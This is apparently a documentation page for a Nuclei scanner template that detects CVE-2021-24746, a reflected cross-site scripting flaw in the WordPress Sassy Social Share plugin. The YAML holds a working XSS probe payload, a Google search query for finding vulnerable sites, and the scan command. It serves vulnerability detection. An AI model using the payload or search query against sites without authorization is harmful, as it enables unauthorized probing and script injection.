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WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting

ID: CVE-2021-24746

Severity: medium

Author: Supras

Tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan,heateor

Description

Section titled “Description”

WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24746


info:
  name: WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting
  author: Supras
  severity: medium
  description: WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24746
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24746
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:heateor:sassy_social_share:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: heateor
    product: sassy_social_share
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/sassy-social-share"
  tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan,heateor


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/posts"
      - "{{BaseURL}}/{{slug}}/?a&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;"


    host-redirects: true
    max-redirects: 2


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '?a"><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: slug
        group: 1
        regex:
          - '"slug":"([_a-z-A-Z0-9]+)",'
        internal: true
        part: body
# digest: 490a0046304402200cb0e00db5ed27422033bbb0c5f286ec6711509d44ca28bb8c4009315a8b8eb102204559dc51bdcdc691ff3be5423251c1baa26e12a86e03cc1dbccfaf4825dcd97b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24746.yaml"

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